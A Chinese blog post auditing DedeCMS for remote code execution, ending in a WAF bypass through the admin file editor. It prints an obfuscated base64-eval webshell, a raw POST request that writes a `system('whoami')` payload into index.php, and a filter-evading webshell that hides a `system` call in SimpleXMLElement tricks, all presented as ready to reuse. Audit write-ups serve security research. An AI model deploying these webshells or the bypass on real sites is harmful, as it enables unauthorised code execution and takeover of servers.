意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE

前言

书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS

最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路

环境搭建

去官网下载源码,然后配合 phpstudy 搭建就 ok 了

这个比较简单,注意根目录需要放 upload 目录

注意默认的管理员目录是 dede,访问/dede/login.php

默认账户密码adminadmin

代码审计

这里我只找 RCE 漏洞

首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞

sink 点的话可以使用一个工具

Seay 源代码审计系统

github.com/f1tz/cnseay

虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术

我们直接把源码丢进去就可以了

可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的

然后这里我只关注能够 RCE 的漏洞

找到之后没有什么技巧,就是回头看参数是否可以控制

下面举个例子

案例 1

比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下

ini 复制代码
<?php /*<meta name="9Rrdzo" content="a">*/
$password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0FrUkZza2FWMWVKR003Q2lBZ0lDQjlDaUFnSUNCeVpYUjFjbaTRnSkVRN0NuMEtKSEJoYzNNOUoyRW5Pd29rY0dGNWJHOWhaRTVoYldVOUozQmhlV3h2WVdRbk93b2thMlY1UFNjd1kyTXhOelZpT1dNd1pqRmlObUU0SnpzS2FXWWdLR2x6YzJWMEtDUmZVRTlUVkZza2NHRnpjMTBwS1hzS0lDQWdJQ1JrWVhSaFBXVnVZMjlrWlNoaVlYTmxOalJmWkdWamIyUmxLQ1JmVUU5VFZGc2tjR0Z6YzEwcExDUnJaWGtwT3dvZ0lDQWdhV1lnS0dsemMyVjBLQ1JmVTBWVFUwbFBUbHNrY0dGNWJHOWhaRTVoYldWZEtTbDdDaUFnSUNBZ0lDQWdKSEJoZVd4dllXUTlaVzVqYjJSbEtDUmZVMFZUVTBsUFRsc2tjR0Y1Ykc5aFpFNWhiV1ZkTENSclpYa3BPd29nSUNBZ0lDQWdJR2xtSUNoemRISndiM01vSkhCaGVXeHZZV1FzSW1kbGRFSmhjMmxqYzBsdVptOGlLVDA5UFdaaGJITmxLWHNLSUNBZ0lDQWdJQ0FnSUNBZ0pIQmhlV3h2WVdROVpXNWpiMlJsS0NSd1lYbHNiMkZrTENSclpYa3BPd29nSUNBZ0lDQWdJSDBLQ1FsbGRtRnNLQ1J3WVhsc2IyRmtLVHNLSUNBZ0lDQWdJQ0JsWTJodklITjFZbk4wY2lodFpEVW9KSEJoYzNNdUpHdGxlU2tzTUN3eE5pazdDaUFnSUNBZ0lDQWdaV05vYnlCaVlYTmxOalJmWlc1amIyUmxLR1Z1WTI5a1pTaEFjblZ1S0NSa1lYUmhLU3drYTJWNUtTazdDaUFnSUNBZ0lDQWdaV05vYnlCemRXSnpkSElvYldRMUtDUndZWE56TGlSclpYa3BMREUyS1RzS0lDQWdJSDFsYkhObGV3b2dJQ0FnSUNBZ0lHbG1JQ2h6ZEhKd2IzTW9KR1JoZEdFc0ltZGxkRUpoYzJsamMwbHVabThpS1NFOVBXWmhiSE5sS1hzS0lDQWdJQ0FnSUNBZ0lDQWdKRjlUUlZOVFNVOU9XeVJ3WVhsc2IyRmtUbUZ0WlYwOVpXNWpiMlJsS0NSa1lYUmhMQ1JyWlhrcE93b2dJQ0FnSUNBZ0lIMEtJQ0FnSUgwS2ZRPT0=';
$username = get_meta_tags(__FILE__)[$_GET['token']];
header("ddddddd:".$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
    if ($k[0] == 'd' && $k[5] == 'd') {
        $template_source = str_replace($v,'',$password);
    }}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode[1]=$$key;
@eval($aes_decode[1]);
$NkM1M7 = "..............";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
    header('Content-Type:text/html;charset=utf-8');    http_response_code(405);
    echo base64_decode/**/($NkM1M7);
}

我们可以看到这个参数其实是不能控制的

`aes_decode[1]就是 $$key,等价于$template_source

ini 复制代码
$template_source = str_replace($v, '', $password);

来源于$password

而其中 password 是固定的,所以不可以控制

案例 2

php 复制代码
function DeleteFile($filename)
    {
        $filename = $this->baseDir.$this->activeDir."/$filename";
        if(is_file($filename))
        {
            @unlink($filename); $t="文件";
        }
        else
        {
            $t = "目录";
            if($this->allowDeleteDir==1)
            {
                $this->RmDirFiles($filename);
            } else
            {
                // 完善用户体验,by:sumic
                ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);
                exit;
            }
            
        }
        ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);
        return 0;
    }
}

是一个方法,这种需要寻找调用这个方法的地方

bash 复制代码
else if($fmdo=="del")
{
    $fmm->DeleteFile($filename);
}

这种是一个典型的控制器,根据 fmdo 来选择对应的操作

不过根据所在的文件的注释

ruby 复制代码
/**
* 文件管理控制
*
* @version        $Id: file_manage_control.php 1 8:48 2010年7月13日 $
* @package        DedeCMS.Administrator
* @founder        IT柏拉图, https://weibo.com/itprato
* @author         DedeCMS团队
* @copyright      Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)
* @license        http://help.dedecms.com/usersguide/license.html
* @link           http://www.dedecms.com
*/

这里就能大概猜到了

是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越

不过这里是做了限制的

ini 复制代码
$filename = preg_replace("#([.]+[/]+)*#", "", $filename);

移除 ../ 形式的路径穿越字符

而且下面还会直接移除..

所以考虑放弃

案例 3

定位到 sys_sql_query.php 文件了

发现可以执行 sql

php 复制代码
if(preg_match("#^select #i", $sqlquery))
    {
        $dsql->SetQuery($sqlquery);
        $dsql->Execute();
        if($dsql->GetTotalRow()<=0)
        {
            echo "运行SQL:{$sqlquery},无返回记录!";
        }
        else
        {
            echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
        }
        $j = 0;
        while($row = $dsql->GetArray())
        {
            $j++;
            if($j > 100)
            {
                break;
            }
            echo "<hr size=1 width='100%'/>";
            echo "记录:$j";
            echo "<hr size=1 width='100%'/>";
            foreach($row as $k=>$v)
            {
                echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";
            }
        }
        exit();
    }
    if($querytype==2)
    {
        //普通的SQL语句
        $sqlquery = str_replace("\r","",$sqlquery);
        $sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);
        $nerrCode = ""; $i=0;
        foreach($sqls as $q)
        {
            $q = trim($q);
            if($q=="")
            {
                continue;
            }
            $dsql->ExecuteNoneQuery($q);
            $errCode = trim($dsql->GetError());
            if($errCode=="")
            {
                $i++;
            }
            else
            {
                $nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";
            }
        }
        echo "成功执行{$i}个SQL语句!<br><br>";
        echo $nerrCode;
    }
    else
    {
        $dsql->ExecuteNoneQuery($sqlquery);
        $nerrCode = trim($dsql->GetError());
        echo "成功执行1个SQL语句!<br><br>";
        echo $nerrCode;
    }
    exit();
}

而且 sql 语句是可以控制的

跟进执行的地方发现

php 复制代码
function Execute($id="me", $sql='')
  {
      global $dsqli;
if(!$dsqli->isInit)
{
	$this->Init($this->pconnect);
}
      if($dsqli->isClose)
      {
          $this->Open(FALSE);
          $dsqli->isClose = FALSE;
      }
      if(!empty($sql))
      {
          $this->SetQuery($sql);
      }
      //SQL语句安全检查
      if($this->safeCheck)
      {
          CheckSql($this->queryString);
      }

      $t1 = ExecTime();
      //var_dump($this->queryString);
      $this->result[$id] = mysqli_query($this->linkID, $this->queryString);
//var_dump(mysql_error());

      //查询性能测试
      if($this->recordLog) {
	$queryTime = ExecTime() - $t1;
          $this->RecordLog($queryTime);
          //echo $this->queryString."--{$queryTime}<hr />\r\n";
      }

      if($this->result[$id]===FALSE)
      {
          $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
      }
  }

是有一个 checksql 的检查的

php 复制代码
//SQL语句过滤程序,由80sec提供,这里作了适当的修改
if (!function_exists('CheckSql'))
{
    function CheckSql($db_string,$querytype='select')
    {
        global $cfg_cookie_encode;
        $clean = '';
        $error='';
        $old_pos = 0;
        $pos = -1;
        $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
        $userIP = GetIP();
        $getUrl = GetCurUrl();

        //如果是普通查询语句,直接过滤一些特殊语法
        if($querytype=='select')
        {
            $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

            //$notallow2 = "--|/\*";
            if(preg_match("/".$notallow1."/i", $db_string))
            {
                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
                exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
            }
        }

        //完整的SQL检查
        while (TRUE)
        {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE)
            {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE)
            {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
        OR strpos($clean,'$s$$s$')!== FALSE)
        {
            $fail = TRUE;
            if(preg_match("#^create table#i",$clean)) $fail = FALSE;
            $error="unusual character";
        }

        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="union detect";
        }

        //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
        elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
        {
            $fail = TRUE;
            $error="comment detect";
        }

        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }
        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }

        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
        elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="sub select detect";
        }
        if (!empty($fail))
        {
            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
            exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
        }
        else
        {
            return $db_string;
        }
    }
}

案例 4

基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法

我们来到对应的路由去查看

果然找到了

php 复制代码
//文件编辑

/*---------------
function __saveEdit();
----------------*/
else if($fmdo=="edit")
{
    csrf_check();
    $filename = str_replace("..", "", $filename);
    $file = "$cfg_basedir$activepath/$filename";
    $str = stripslashes($str);
    $fp = fopen($file, "w");
    fputs($fp, $str);
    fclose($fp);

    if ($fp === false) {
        ShowMsg("保存失败!请检查文件是否可写", -1);
        exit();
    }

    if(empty($backurl))
    {
        ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");
    }
    else
    {
        ShowMsg("成功保存文件!",$backurl);
    }
    exit();
}

一样的方法

文件名是 filename,内容是 str

我们访问对应的路由

发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗

perl 复制代码
POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 130
Cache-Control: max-age=0
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwahta_5a98Q7N_flG_VxGw676bsG3Q_Hk4jTL1XGn8HrFtj7ITT0j3kWTuZGs6I-UvyxNRfGi-rNoxmSTFE5r0gcex_HS4cP3EIRhvDiGtL0l8FXtOxSMrK24qcFj3JoVYSmG96Nex-jhaGx1flJEYMyibz9IZePg-2omX_wkoeSaLq4YyiPqxM2PUlURr6YFm1mU5MQVi-YmbyXOl2fzt8A2tMnIjOgRKtXHxj6VLIZ9JeN7al8oiGzDb-Z64p8FHHhQN7zJzeWvRrN7arFe8tKpV7Nzrv; PHPSESSID=efqbsshdtt5v597qu9paat8s7a; _csrf_name_f9024a86=f709bfcd9cfdec39b55e236837689b25; _csrf_name_f9024a861BH21ANI1AGD297L1FF21LN02BGE1DNG=f4d72c693dc8f42f; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=cdad88453fa752a4; DedeLoginTime=1752071402; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=b21c89eb676161cd; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive

fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++

但是发现

所以准备调试分析一手

php 复制代码
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
    $value = str_replace(" ", "", $value);
    if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
        $str = dede_htmlspecialchars($str);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
    }
}

if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
    if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
        $str = dede_htmlspecialchars($str);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
    }
    if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
        $str = dede_htmlspecialchars($str);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
    }
    if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
        $str = dede_htmlspecialchars($str);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
    }
}

发现原因是因为有 waf

直接交给一个聪明朋友

移除多行注释

ini 复制代码
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

防止攻击者把危险代码写在注释中来绕过检测。

危险函数与变量过滤

ini 复制代码
$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';

匹配并拦截使用了以下内容的代码:

系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等

全局变量:` <math xmlns="http://www.w3.org/1998/Math/MathML"> G E T , GET, </math>GET,POST, <math xmlns="http://www.w3.org/1998/Math/MathML"> R E Q U E S T , REQUEST, </math>REQUEST,COOKIE, $_FILES, GLOBALS

动态函数调用:call_user_func, create_function, 等

一旦匹配:直接终止执行并提示危险代码。

PHP 标签与代码执行行为检测

感觉过滤还是挺严格的

绕过 waf 到 RCE

直接掏出上次的 webshell,稍微修改一下就 ok 了

php 复制代码
<?php

class User {
    private $username;
    private $password;

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }

    public function __debugInfo() {
        $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
        $xmlElement = new SimpleXMLElement($xmlData);
        $namespaces = $xmlElement->getNamespaces(TRUE);
        $xmlElement->rewind();
        var_dump($xmlElement->key());
        $result = $xmlElement->xpath('/books/system');
        var_dump (($result[0]->__toString()));
        ($xmlElement->key())($result[0]->__toString());
        return [
            'username' => $this->username,
            'info' => '这是调试时返回的信息',
            'timestamp' => time()
        ];
    }
}

$user = new User('alice', 'secret123');
var_dump($user);

原理上次大概讲过了,就是自动触发

然后我们访问首页

成功弹出计算器

相关推荐
2401_8414956418 天前
黑客攻击基础知识
网络·黑客·操作系统·web·计算机结构·应用程序·黑客攻击
Okailon21 天前
Debian12上安裝免费开源的CMS Drupal 11 机顶盒实例
开源·php·cms
米羊12123 天前
关于 CMS
系统架构·cms
魔众1 个月前
ModStartCMS v9.7.0 组件升级优化,模块升级提醒,访问明细导出
php·cms
合天网安实验室1 个月前
使用随机森林识别暴力破解
黑客
亿坊电商2 个月前
如何确保CMS系统能够快速响应用户请求?全面性能优化指南
cms
佛祖让我来巡山2 个月前
Java垃圾收集器全解:从Serial到G1的进化之旅
cms·gc·垃圾收集器·g1
网络安全大学堂2 个月前
【网络安全入门基础教程】网络安全零基础学习方向及需要掌握的技能
网络·学习·安全·web安全·网络安全·黑客
合天网安实验室3 个月前
在线旅游及旅行管理系统项目SQL注入
黑客